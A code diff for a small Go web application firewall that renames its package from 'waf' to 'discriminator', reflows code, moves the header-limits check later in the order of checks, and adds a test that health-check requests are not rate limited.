_, decided := rq.crowdSecDecisionInForce(now)
|
_, decided := rq.crowdSecDecisionInForce(now)
|
||||||
|
|
||||||
return decided ||
|
return decided || overHeaderLimits(rq.headerCounts()) ||
|
||||||
rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
|
rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
|
||||||
rq.overAWholeRateLimit(now)
|
rq.overAWholeRateLimit(now)
|
||||||
}
|
}
|
||||||
@@ -173,13 +171,8 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
|
|||||||
// One that cannot be read leaves the log line's peer_ip invalid.
|
// One that cannot be read leaves the log line's peer_ip invalid.
|
||||||
peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
|
peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
|
||||||
|
|
||||||
rq := h.startRequest(
|
rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(),
|
||||||
w,
|
true)
|
||||||
asTheVisitorSentIt(r, body),
|
|
||||||
client.Unmap(),
|
|
||||||
peer.Unmap(),
|
|
||||||
true,
|
|
||||||
)
|
|
||||||
// The last deferred runs first, so that what is held has the finished log
|
// The last deferred runs first, so that what is held has the finished log
|
||||||
// line. Go's server sends the answer only once this function has
|
// line. Go's server sends the answer only once this function has
|
||||||
// returned, so the report cannot come before it is held.
|
// returned, so the report cannot come before it is held.
|
||||||
@@ -187,7 +180,7 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
|
|||||||
defer rq.finish()
|
defer rq.finish()
|
||||||
|
|
||||||
rq.site = r.Host
|
rq.site = r.Host
|
||||||
rq.line.WAFLine = requestlog.WAFLineDecision
|
rq.line.DiscriminatorLine = requestlog.DiscriminatorLineDecision
|
||||||
refused := rq.check(r.Context())
|
refused := rq.check(r.Context())
|
||||||
rq.checked = time.Now()
|
rq.checked = time.Now()
|
||||||
underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix)
|
underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix)
|
||||||
@@ -213,23 +206,19 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// The app never sees this prefix. waf's own endpoints are at its
|
// The app never sees this prefix. discriminator's own endpoints are at its
|
||||||
// own address, so this answers as a path with no endpoint does.
|
// own address, so this answers as a path with no endpoint does.
|
||||||
rq.line.Action = requestlog.ActionOwnEndpoint
|
rq.line.Action = requestlog.ActionOwnEndpoint
|
||||||
rq.out.Header().Set(DispositionHeader, DispositionDeny)
|
rq.out.Header().Set(DispositionHeader, DispositionDeny)
|
||||||
http.Error(
|
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
|
||||||
rq.out,
|
|
||||||
http.StatusText(http.StatusNotFound),
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// readQuestion returns the visitor's address and the body a question carries,
|
// readQuestion returns the visitor's address and the body a question carries,
|
||||||
// and whether waf takes the question. It answers a question it does not
|
// and whether discriminator takes the question. It answers a question it does not
|
||||||
// take with 400 and no disposition. rproxy passes that 400 to the visitor,
|
// take with 400 and no disposition, which rproxy treats as it treats no
|
||||||
// and SWRP_DEFAULT_DISPOSITION does not apply. The id of a question waf takes
|
// answer. The id of a question it takes is held from here on, without a
|
||||||
// is held from here on, without a decision yet, so that another question with
|
// decision yet, so that another question with that id is refused while this
|
||||||
// that id is refused while this one is being handled.
|
// one is being handled.
|
||||||
//
|
//
|
||||||
// The body is read before any check, since Go's server does not send an answer
|
// The body is read before any check, since Go's server does not send an answer
|
||||||
// until it has read the body. A question whose body stops arriving gets no
|
// until it has read the body. A question whose body stops arriving gets no
|
||||||
@@ -251,9 +240,7 @@ func (h *handler) readQuestion(
|
|||||||
return netip.Addr{}, nil, false
|
return netip.Addr{}, nil, false
|
||||||
}
|
}
|
||||||
|
|
||||||
body, err := io.ReadAll(
|
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes))
|
||||||
http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes),
|
|
||||||
)
|
|
||||||
|
|
||||||
if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
|
if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
|
||||||
h.refuseQuestion(w, "the body is over 64 KiB")
|
h.refuseQuestion(w, "the body is over 64 KiB")
|
||||||
@@ -262,11 +249,7 @@ func (h *handler) readQuestion(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
h.processLog.Warn(
|
h.processLog.Warn("a question's body stopped arriving", "error", err.Error())
|
||||||
"a question's body stopped arriving",
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
// This panic has Go's server close the connection without an answer,
|
// This panic has Go's server close the connection without an answer,
|
||||||
// and log nothing.
|
// and log nothing.
|
||||||
panic(http.ErrAbortHandler)
|
panic(http.ErrAbortHandler)
|
||||||
@@ -274,10 +257,7 @@ func (h *handler) readQuestion(
|
|||||||
|
|
||||||
held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
|
held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
|
||||||
if held {
|
if held {
|
||||||
h.refuseQuestion(
|
h.refuseQuestion(w, requestIDHeader+" is the id of a request discriminator holds")
|
||||||
w,
|
|
||||||
requestIDHeader+" is the id of a request waf holds",
|
|
||||||
)
|
|
||||||
|
|
||||||
return netip.Addr{}, nil, false
|
return netip.Addr{}, nil, false
|
||||||
}
|
}
|
||||||
@@ -285,14 +265,14 @@ func (h *handler) readQuestion(
|
|||||||
return client, body, true
|
return client, body, true
|
||||||
}
|
}
|
||||||
|
|
||||||
// refuseQuestion answers a question waf does not take, for reason.
|
// refuseQuestion answers a question discriminator does not take, for reason.
|
||||||
func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
|
func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
|
||||||
h.processLog.Warn("a question is refused", "reason", reason)
|
h.processLog.Warn("a question is refused", "reason", reason)
|
||||||
http.Error(w, reason, http.StatusBadRequest)
|
http.Error(w, reason, http.StatusBadRequest)
|
||||||
}
|
}
|
||||||
|
|
||||||
// asTheVisitorSentIt returns a copy of r, a question, as the checks and the
|
// asTheVisitorSentIt returns a copy of r, a question, as the checks and the
|
||||||
// log line are to see it: without the headers rproxy adds for waf,
|
// log line are to see it: without the headers rproxy adds for discriminator,
|
||||||
// with body, which has been read of r, and with the length the visitor
|
// with body, which has been read of r, and with the length the visitor
|
||||||
// announced, as -1 when it announced none. The question's own length covers
|
// announced, as -1 when it announced none. The question's own length covers
|
||||||
// only the part of the body it carries.
|
// only the part of the body it carries.
|
||||||
@@ -360,7 +340,7 @@ func (rq *request) deny(r refusal) {
|
|||||||
http.Error(rq.out, http.StatusText(r.status), r.status)
|
http.Error(rq.out, http.StatusText(r.status), r.status)
|
||||||
}
|
}
|
||||||
|
|
||||||
// answerOwnEndpoint answers a request to waf's own address. No check
|
// answerOwnEndpoint answers a request to discriminator's own address. No check
|
||||||
// runs on it: the address is on the private network, where the peers are
|
// runs on it: the address is on the private network, where the peers are
|
||||||
// rproxy and the admin's tools, not visitors.
|
// rproxy and the admin's tools, not visitors.
|
||||||
func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
|
func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
|
||||||
@@ -411,9 +391,7 @@ func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
|
|||||||
func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
|
func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
|
||||||
var report Report
|
var report Report
|
||||||
|
|
||||||
body, err := io.ReadAll(
|
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes))
|
||||||
http.MaxBytesReader(w, r.Body, reportBodyMaxBytes),
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return report, fmt.Errorf("read the body: %w", err)
|
return report, fmt.Errorf("read the body: %w", err)
|
||||||
}
|
}
|
||||||
@@ -469,22 +447,15 @@ func (report *Report) checkRanges() error {
|
|||||||
// request to its client's history, the anomaly counters and the metrics, with
|
// request to its client's history, the anomaly counters and the metrics, with
|
||||||
// the status and bytes the report gives. A denied request's counting was
|
// the status and bytes the report gives. A denied request's counting was
|
||||||
// finished at its decision. ctx is the report's own context.
|
// finished at its decision. ctx is the report's own context.
|
||||||
func (h *handler) finishWith(
|
func (h *handler) finishWith(ctx context.Context, held *decision, report Report) {
|
||||||
ctx context.Context,
|
|
||||||
held *decision,
|
|
||||||
report Report,
|
|
||||||
) {
|
|
||||||
rq := &request{
|
rq := &request{
|
||||||
decision: *held,
|
decision: *held,
|
||||||
h: h,
|
h: h,
|
||||||
out: &responseWriter{
|
out: &responseWriter{status: report.Status, bytes: report.ResponseBytes},
|
||||||
status: report.Status,
|
|
||||||
bytes: report.ResponseBytes,
|
|
||||||
},
|
|
||||||
requestBytes: report.RequestBytes,
|
requestBytes: report.RequestBytes,
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.line.WAFLine = requestlog.WAFLineReport
|
rq.line.DiscriminatorLine = requestlog.DiscriminatorLineReport
|
||||||
rq.line.Status = report.Status
|
rq.line.Status = report.Status
|
||||||
rq.line.RequestBytes = report.RequestBytes
|
rq.line.RequestBytes = report.RequestBytes
|
||||||
rq.line.ResponseBytes = report.ResponseBytes
|
rq.line.ResponseBytes = report.ResponseBytes
|
||||||
@@ -497,13 +468,9 @@ func (h *handler) finishWith(
|
|||||||
rq.countAnomalies()
|
rq.countAnomalies()
|
||||||
rq.addToHistory()
|
rq.addToHistory()
|
||||||
|
|
||||||
rq.h.metrics.RequestReported(
|
rq.h.metrics.RequestReported(&rq.line,
|
||||||
&rq.line,
|
|
||||||
time.Duration(report.DurationTotalMS*float64(time.Millisecond)),
|
time.Duration(report.DurationTotalMS*float64(time.Millisecond)),
|
||||||
time.Duration(
|
time.Duration(report.DurationUpstreamTotalMS*float64(time.Millisecond)))
|
||||||
report.DurationUpstreamTotalMS*float64(time.Millisecond),
|
|
||||||
),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.writeLine()
|
rq.writeLine()
|
||||||
File diff suppressed because it is too large.
Load diff
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
|
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
|
||||||
// verdicts through the DNSBL checker.
|
// verdicts through the DNSBL checker.
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic header_limits. It reads no setting: its limits are fixed.
|
// The heuristic header_limits. It reads no setting: its limits are fixed.
|
||||||
|
|
||||||
@@ -10,27 +10,22 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The header limits: the most cookies and header fields a request may have.
|
// The header limits: the most cookies and header fields a request may have
|
||||||
// Real clients never reach them.
|
// when the checks reach the Core Rule Set. Real clients never reach them.
|
||||||
const (
|
const (
|
||||||
maxCookies = 50
|
maxCookies = 50
|
||||||
maxHeaderFields = 100
|
maxHeaderFields = 100
|
||||||
)
|
)
|
||||||
|
|
||||||
// headerLimits refuses a request with more than maxHeaderFields header fields
|
// headerLimits refuses a request over the header limits, with 431. Its figures
|
||||||
// or more than maxCookies cookies, with 431. Its figures are the request's
|
// are the request's header fields and cookies, and the limit of each.
|
||||||
// header fields and cookies, and the limit of each.
|
|
||||||
type headerLimits struct{}
|
type headerLimits struct{}
|
||||||
|
|
||||||
func (headerLimits) name() string { return "header_limits" }
|
func (headerLimits) name() string { return "header_limits" }
|
||||||
|
|
||||||
func (headerLimits) check(
|
func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
_ time.Time,
|
|
||||||
) *verdict {
|
|
||||||
fields, cookies := rq.headerCounts()
|
fields, cookies := rq.headerCounts()
|
||||||
if fields <= maxHeaderFields && cookies <= maxCookies {
|
if !overHeaderLimits(fields, cookies) {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -43,6 +38,13 @@ func (headerLimits) check(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// overHeaderLimits reports whether a request with these counts of header fields
|
||||||
|
// and cookies, as headerCounts counts them, is over the header limits: it has
|
||||||
|
// more than maxHeaderFields fields or more than maxCookies cookies.
|
||||||
|
func overHeaderLimits(fields, cookies int) bool {
|
||||||
|
return fields > maxHeaderFields || cookies > maxCookies
|
||||||
|
}
|
||||||
|
|
||||||
// headerCounts returns the request's header fields, each value of a header sent
|
// headerCounts returns the request's header fields, each value of a header sent
|
||||||
// twice being one, and its cookies, each part of a Cookie header between
|
// twice being one, and its cookies, each part of a Cookie header between
|
||||||
// semicolons being one unless it is empty or only spaces and tabs. The Core
|
// semicolons being one unless it is empty or only spaces and tabs. The Core
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package discriminator_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// With a limit of one request a minute, any request counted before
|
||||||
|
// the last one would have it refused.
|
||||||
|
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||||
|
|
||||||
|
const (
|
||||||
|
healthChecks = 3
|
||||||
|
contentType = "text/plain; charset=utf-8"
|
||||||
|
)
|
||||||
|
|
||||||
|
for range healthChecks {
|
||||||
|
got := s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "",
|
||||||
|
http.StatusOK)
|
||||||
|
|
||||||
|
if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
|
||||||
|
t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
|
||||||
|
"with %q", got.body, got.header.Get("Content-Type"), contentType)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
|
for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
|
||||||
|
if line.ResponseContentType != contentType {
|
||||||
|
t.Errorf("health check's log line has response_content_type %q, "+
|
||||||
|
"want %q", line.ResponseContentType, contentType)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -9,7 +9,7 @@ import (
|
|||||||
// and add one line for it to one of the lists below. Its settings go in
|
// and add one line for it to one of the lists below. Its settings go in
|
||||||
// config.Config, and the comment at the top of its file names them.
|
// config.Config, and the comment at the top of its file names them.
|
||||||
|
|
||||||
// heuristic is one of the checks that decide what waf does with a
|
// heuristic is one of the checks that decide what discriminator does with a
|
||||||
// request.
|
// request.
|
||||||
type heuristic interface {
|
type heuristic interface {
|
||||||
// name is the heuristic's name, which the log line gives.
|
// name is the heuristic's name, which the log line gives.
|
||||||
@@ -41,11 +41,8 @@ const (
|
|||||||
|
|
||||||
// beforeLookup are the heuristics that run before the client's AS number and
|
// beforeLookup are the heuristics that run before the client's AS number and
|
||||||
// country are looked up, so that a client they refuse is not looked up.
|
// country are looked up, so that a client they refuse is not looked up.
|
||||||
// header_limits comes first: it only counts, and a request it refuses causes no
|
|
||||||
// other work.
|
|
||||||
func beforeLookup() []heuristic {
|
func beforeLookup() []heuristic {
|
||||||
return []heuristic{
|
return []heuristic{
|
||||||
headerLimits{},
|
|
||||||
tagLists{},
|
tagLists{},
|
||||||
routeWatchTags{},
|
routeWatchTags{},
|
||||||
denyNets{},
|
denyNets{},
|
||||||
@@ -67,12 +64,13 @@ func afterLookup() []heuristic {
|
|||||||
rateLimits{},
|
rateLimits{},
|
||||||
trapPaths{},
|
trapPaths{},
|
||||||
ruleFiles{},
|
ruleFiles{},
|
||||||
|
headerLimits{},
|
||||||
coreRuleSet{},
|
coreRuleSet{},
|
||||||
tagDeny{},
|
tagDeny{},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// afterAnswer are the heuristics that run on a request once waf has
|
// afterAnswer are the heuristics that run on a request once discriminator has
|
||||||
// answered it, before its decision line is written. They ban the client, and do
|
// answered it, before its decision line is written. They ban the client, and do
|
||||||
// not change what the request got: their verdict's action is not used.
|
// not change what the request got: their verdict's action is not used.
|
||||||
func afterAnswer() []heuristic {
|
func afterAnswer() []heuristic {
|
||||||
@@ -117,10 +115,7 @@ func (rq *request) runHeuristics(
|
|||||||
// after_answer_heuristic_figures name the heuristic that gave a verdict, and
|
// after_answer_heuristic_figures name the heuristic that gave a verdict, and
|
||||||
// give its figures, so that heuristic and heuristic_figures still name the one
|
// give its figures, so that heuristic and heuristic_figures still name the one
|
||||||
// that refused the request. ctx is the request's own context.
|
// that refused the request. ctx is the request's own context.
|
||||||
func (rq *request) runBanningHeuristics(
|
func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) {
|
||||||
ctx context.Context,
|
|
||||||
list []heuristic,
|
|
||||||
) {
|
|
||||||
name, v := rq.firstVerdict(ctx, list, rq.h.now())
|
name, v := rq.firstVerdict(ctx, list, rq.h.now())
|
||||||
if v != nil {
|
if v != nil {
|
||||||
rq.line.AfterAnswerHeuristic = name
|
rq.line.AfterAnswerHeuristic = name
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"io"
|
"io"
|
||||||
@@ -8,9 +8,9 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
|
func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
|
||||||
@@ -60,11 +60,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
|
|||||||
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
|
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(
|
s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{maxTrackedClients: "2"},
|
|
||||||
)
|
|
||||||
|
|
||||||
// The third client drops the least recently seen, the first, with its
|
// The third client drops the least recently seen, the first, with its
|
||||||
// history.
|
// history.
|
||||||
@@ -74,12 +70,8 @@ func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
|
|||||||
|
|
||||||
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
|
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
|
||||||
if server.Limiter.Len() != 2 || held {
|
if server.Limiter.Len() != 2 || held {
|
||||||
t.Errorf(
|
t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
|
||||||
"the table holds %d clients, the first among them: %t; want 2, "+
|
"without it", server.Limiter.Len(), held)
|
||||||
"without it",
|
|
||||||
server.Limiter.Len(),
|
|
||||||
held,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -92,10 +84,7 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
|
|||||||
})
|
})
|
||||||
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
|
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
|
||||||
|
|
||||||
got := do(
|
got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
|
||||||
t,
|
|
||||||
newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
|
|
||||||
)
|
|
||||||
wantStatus(t, got, http.StatusOK)
|
wantStatus(t, got, http.StatusOK)
|
||||||
out.endedLine(t)
|
out.endedLine(t)
|
||||||
|
|
||||||
@@ -109,20 +98,10 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
|
|||||||
func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
|
func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(
|
s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{metricsToken: token},
|
|
||||||
)
|
|
||||||
|
|
||||||
s.ownEndpointRequest(
|
s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "", http.StatusOK)
|
||||||
"",
|
s.ownEndpointRequest("", http.MethodGet, discriminator.MetricsPath, "",
|
||||||
http.MethodGet,
|
|
||||||
waf.HealthPath,
|
|
||||||
"",
|
|
||||||
http.StatusOK,
|
|
||||||
)
|
|
||||||
s.ownEndpointRequest("", http.MethodGet, waf.MetricsPath, "",
|
|
||||||
http.StatusUnauthorized)
|
http.StatusUnauthorized)
|
||||||
s.scrape()
|
s.scrape()
|
||||||
|
|
||||||
@@ -141,8 +120,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
|
|||||||
out.endedLine(t)
|
out.endedLine(t)
|
||||||
|
|
||||||
history := historyOf(t, server, localhost)
|
history := historyOf(t, server, localhost)
|
||||||
if history.Requests != 1 || history.Forwarded != 0 ||
|
if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
|
||||||
history.Refused != 0 {
|
|
||||||
t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
|
t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
|
||||||
"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
|
"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
|
||||||
}
|
}
|
||||||
@@ -150,7 +128,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
|
|||||||
|
|
||||||
// historyOf returns the history of the client at addr.
|
// historyOf returns the history of the client at addr.
|
||||||
func historyOf(
|
func historyOf(
|
||||||
t *testing.T, server *waf.Server, addr string,
|
t *testing.T, server *discriminator.Server, addr string,
|
||||||
) ratelimit.History {
|
) ratelimit.History {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -105,6 +105,5 @@ func setLookupHeaders(header http.Header, asn, country string) {
|
|||||||
// canBePlaced reports whether a lookup can place addr: private, loopback
|
// canBePlaced reports whether a lookup can place addr: private, loopback
|
||||||
// and link-local addresses have no AS number or country.
|
// and link-local addresses have no AS number or country.
|
||||||
func canBePlaced(addr netip.Addr) bool {
|
func canBePlaced(addr netip.Addr) bool {
|
||||||
return !addr.IsPrivate() && !addr.IsLoopback() &&
|
return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
|
||||||
!addr.IsLinkLocalUnicast()
|
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -24,9 +24,7 @@ type asnAndCountry struct{ asn, asName, country string }
|
|||||||
// lookup database.
|
// lookup database.
|
||||||
const fileSource = "file"
|
const fileSource = "file"
|
||||||
|
|
||||||
func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
|
func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The stand-in for GeoJS answers only once released. A request that
|
// The stand-in for GeoJS answers only once released. A request that
|
||||||
@@ -47,10 +45,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
|
|||||||
} {
|
} {
|
||||||
got := asnAndCountry{line.ASN, line.ASName, line.Country}
|
got := asnAndCountry{line.ASN, line.ASName, line.Country}
|
||||||
if got != (asnAndCountry{}) {
|
if got != (asnAndCountry{}) {
|
||||||
t.Errorf(
|
t.Errorf("log line has %+v before GeoJS answered, want nothing", got)
|
||||||
"log line has %+v before GeoJS answered, want nothing",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -85,12 +80,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
|
|||||||
// GeoJS was asked about each client once, fromKP after fromDE, whose
|
// GeoJS was asked about each client once, fromKP after fromDE, whose
|
||||||
// request was under way when fromKP came.
|
// request was under way when fromKP came.
|
||||||
if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
|
if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
|
||||||
t.Errorf(
|
t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP)
|
||||||
"GeoJS was asked about %v, want %s and %s",
|
|
||||||
got,
|
|
||||||
fromDE,
|
|
||||||
fromKP,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -137,9 +127,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
|
|||||||
// for GeoJS. The second request goes on at once, and is counted.
|
// for GeoJS. The second request goes on at once, and is counted.
|
||||||
clk.advance(2500 * time.Millisecond)
|
clk.advance(2500 * time.Millisecond)
|
||||||
server.GeoJS.Load([]lookup.Answer{{
|
server.GeoJS.Load([]lookup.Answer{{
|
||||||
Client: netip.MustParsePrefix(
|
Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
|
||||||
fromDE + "/32",
|
|
||||||
), ASN: asnDE, ASName: asNameDE,
|
|
||||||
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
|
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
|
||||||
}})
|
}})
|
||||||
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
|
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
|
||||||
@@ -152,12 +140,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
|
|||||||
t.Fatalf("first request: %v", err)
|
t.Fatalf("first request: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantLine(
|
wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
|
||||||
t,
|
|
||||||
out.endedLines(t, 2)[1],
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
|
|
||||||
// The third request's count holds all three: the first was counted
|
// The third request's count holds all three: the first was counted
|
||||||
// when it went on, in the minute under way, and the second's count
|
// when it went on, in the minute under way, and the second's count
|
||||||
@@ -166,32 +149,22 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
|
|||||||
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
|
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
|
||||||
|
|
||||||
if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
|
if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
|
||||||
t.Errorf(
|
t.Errorf("the third request's count in the minute is %v, want 3", got)
|
||||||
"the third request's count in the minute is %v, want 3",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(
|
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||||
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
|
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
|
||||||
addr, out, server, queue := startProxyWithAlerts(
|
